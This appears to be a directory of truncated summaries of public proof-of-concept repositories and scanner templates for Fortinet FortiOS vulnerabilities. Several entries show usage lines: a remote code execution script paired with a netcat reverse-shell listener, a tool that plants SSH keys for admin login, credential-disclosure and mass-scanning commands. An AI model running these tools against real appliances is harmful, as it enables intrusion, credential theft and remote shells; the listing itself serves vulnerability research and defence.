Fortinet FortiOS < 5.6.0 - Cross-Site Scripting

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.6.0 and earlier allows attackers to execute unauthorized code or commands via the Replacement Message HTML for SSL-VPN. id: CVE-2017-3133 info: name: Fortinet FortiOS 5.6.0 - Cross-Site Scripting author: ritikchaddha severity:...

FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView. id: CVE-2017-3131 info: name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting author:...

CVE-2017-14187_PoC_ARMv7

PoC de CVE-2017-14187 Prueba de concepto de escalada de privilegios local para FortiOS 5.6.0 a 5.6.2, 5.4.0 a 5.4.8, y por debajo de 5.2 Desencadenado por fnsysctl y USB por lo que se requiere acceso físico. Este PoC genera un shell root local explotando CVE-2017-14187. Informe Coreano Inglés TL;...

CVE-2022-42475-POC

CVE-2022-42475 背景 本文对应博客文章漏洞利用部分的解说，原文链接：https://bishopfox.com/blog/exploit-cve-2022-42475 删节版本 此版本漏洞利用代码在缺乏攻击者自行提供ROP Gadget等所需内存地址的情况下无法正常工作。确定这些数据的工作是Bishop Fox的机密和专有信息，我不会（也不能）将其与漏洞利用代码一同发布。相信您能理解！ 操作模式 仅验证，不进行漏洞利用。用于判断目标是否存在漏洞。不发送payload，不含shellcode。 漏洞利用，但仅进行验证 。运行良性的回连“ping”...

FortiOS-Credentials-Disclosure

FortiOS-Credentials-Disclosure CVE-2018-13379 Exploit Uso : python CVE-2018-13379.py list.txt...

CVE-2018-13379-FortinetVPN

CVE-2018-13379-FortinetVPN Una Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido "Path Traversal" en Fortinet FortiOS 6.0.0 a 6.0.4, 5.6.3 a 5.6.7 y 5.4.6 a 5.4.12 bajo el portal web SSL VPN permite a un atacante no autenticado descargar archivos del sistema a través de...

CVE-2022-40684

CVE-2022-40684 POC for CVE-2022-40684 affecting Fortinet FortiOS, FortiProxy, and FortiSwitchManager appliances. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog:...

cve2018-13379-nmap-script

cve2018-13379-nmap-script CVE-2018-13379 Nmap NSE 脚本 Fortinet FortiOS 6.0.0至6.0.4、5.6.3至5.6.7版本的SSL VPN Web门户中存在一个路径名限制不当（路径遍历）漏洞，允许未经身份验证的攻击者通过特制的HTTP资源请求下载系统文件。...

CVE-2024-55591

FortiGate CVE-2024-55591 1Scan最新版 https://github.com/0x7556/1Scan 影响版本 FortiOS 7.0.0 through 7.0.16 FortiProxy 7.0.0 through 7.0.19 FortiProxy 7.2.0 through 7.2.12 POC单个检测 ./poc 10.10.1.1 ./poc http://10.10.1.1 1Scan 批量 ./1scan 10.10.1.1 ./1scan 10.10.1.1/24 ./1scan 10.10.1.1/c ./1scan 10.10.1.1/...

CVE-2022-40684

CVE-2022-40684 CVSS 评分: 9.6 影响 Fortinet FortiOS、FortiProxy 和 FortiSwitchManager 设备的 CVE-2022-40684 概念验证 POC 受影响产品 FortiOS 版本 7.0.0 – 7.0.6 和 7.2.0 – 7.2.1 FortiProxy 版本 7.0.0 – 7.0.6 和版本 7.2.0 FortiSwitchManager 版本 7.0.0 和 7.2.0 资源...

cve-2025-24472-fortinet_authbypass_reproduction

CVE-2025-24472 — Bypass de autenticación en Fortinet FortiOS / FortiProxy Descripción general CVE-2025-24472 es una vulnerabilidad de bypass de autenticación en Fortinet FortiOS y FortiProxy. Un atacante no autenticado puede crear solicitudes proxy CSF Central Security Fabric especialmente formad...

Fortinet - Authentication Bypass

Fortinet FortiOS is vulnerable to an information disclosure via service-worker.js that could allow an attacker to access sensitive information.This vulnerability affects FortiOS and could potentially lead to unauthorized access to the system. id: CVE-2024-55591 info: name: Fortinet - Authenticati...

CVE-2023-25610

CVE-2023-25610 FortiOS 管理界面中的堆内存下溢导致远程代码执行。 范围和限制 1. Fortinet 6.x 2. 基于 TLSv1.3，在其他 TLS 版本上可能存在差异 用法 python3 cve-2022-42475.py rhost rport lhost 'command' python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /' Listener EXP 使用 python 命令在端口 31337 上设置反弹 shell nc -lvnp 31226...

forticrack

FortiCrack Descifra imágenes de firmware Fortinet FortiOS cifradas Desarrollado por Bishop Fox Team X Requisitos Esta herramienta está diseñada para ejecutarse en un entorno Linux. Instala los paquetes python3 y gzip para tu sistema. Uso Descarga una imagen de firmware cifrada desde el sitio de...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 es una vulnerabilidad crítica en los productos FortiOS y FortiProxy de Fortinet, presente en su componente SSL VPN. Esta vulnerabilidad permite a un atacante remoto no autenticado ejecutar código o comandos arbitrarios en el sistema objetivo mediante solicitudes...

CVE-2022-42475-RCE-POC

CVE-2022-42475-RCE-POC 漏洞名称 CVE-2022-42475 飞塔RCE漏洞 POC 漏洞成因 由于sslvpnd对用户输入的内容验证存在缺陷，未经身份验证的攻击者通过发送特制数据包触发缓冲区溢出，最终可实现在目标系统上执行任意代码。 受影响版本 2.0 = 7.2.3 FortiOS = 7.0.9 FortiOS = 6.4.11 FortiOS = 6.2.12 FortiOS-6K7K = 7.0.8 FortiOS-6K7K = 6.4.10 FortiOS-6K7K = 6.2.12 FortiOS-6K7K = 6.0.15 修复方案...

cve-2024-23113-test-env

CVE-2024-23113 FortiOS 测试环境 一个基于 Docker 的测试环境，用于针对模拟的易受攻击 FortiOS 实例验证 CVE-2024-23113 Nuclei 模板。 🔍 概述 本环境模拟易受攻击的 FortiOS HTTP 接口，以测试 CVE-2024-23113 Nuclei 模板的检测能力。它提供逼真的 FortiOS 响应，包括登录页面、API 端点以及正确的版本信息。 🚀 快速开始 前提条件 Docker Docker Compose Nuclei（用于测试） 基本设置 1. 克隆并构建： git clone cd...

fortipwn

fortipwn 基于Rust构建的Forti CVE-2022-40684枚举脚本。 将SSH公钥上传至authorizedkeys，允许攻击者以admin身份通过SSH登录运行FortiOS的服务器。 使用方法 $ ./fortipwn 构建 $ git clone https://github.com/Grapphy/fortipwn/ $ cd fortipwn $ cargo build --release $ cd target/release/ $ ./fortipwn 输出示例 $ ./fortipwn examplesip.txt idrsa.pub...

CVE-2024-55591

CVE-2024-55591 PoC This repository contains an PoC Proof of Concept for CVE-2024-55591 , a critical authentication bypass vulnerability discovered in Fortinet's FortiOS and FortiProxy products. Vulnerability Overview CVE-2024-55591 is an authentication bypass vulnerability caused by an alternativ...

fortios-ldap-mitm-poc-CVE-2019-5591

CVE-2019-5591 Este PoC Prueba de Concepto demuestra un ataque MITM Hombre en el Medio: suplantación de un servidor LDAP en la subred local de un dispositivo FortiGate que ejecuta una versión vulnerable de FortiOS. Versiones Afectadas Estas versiones son vulnerables: Versión| Afectada| Solución...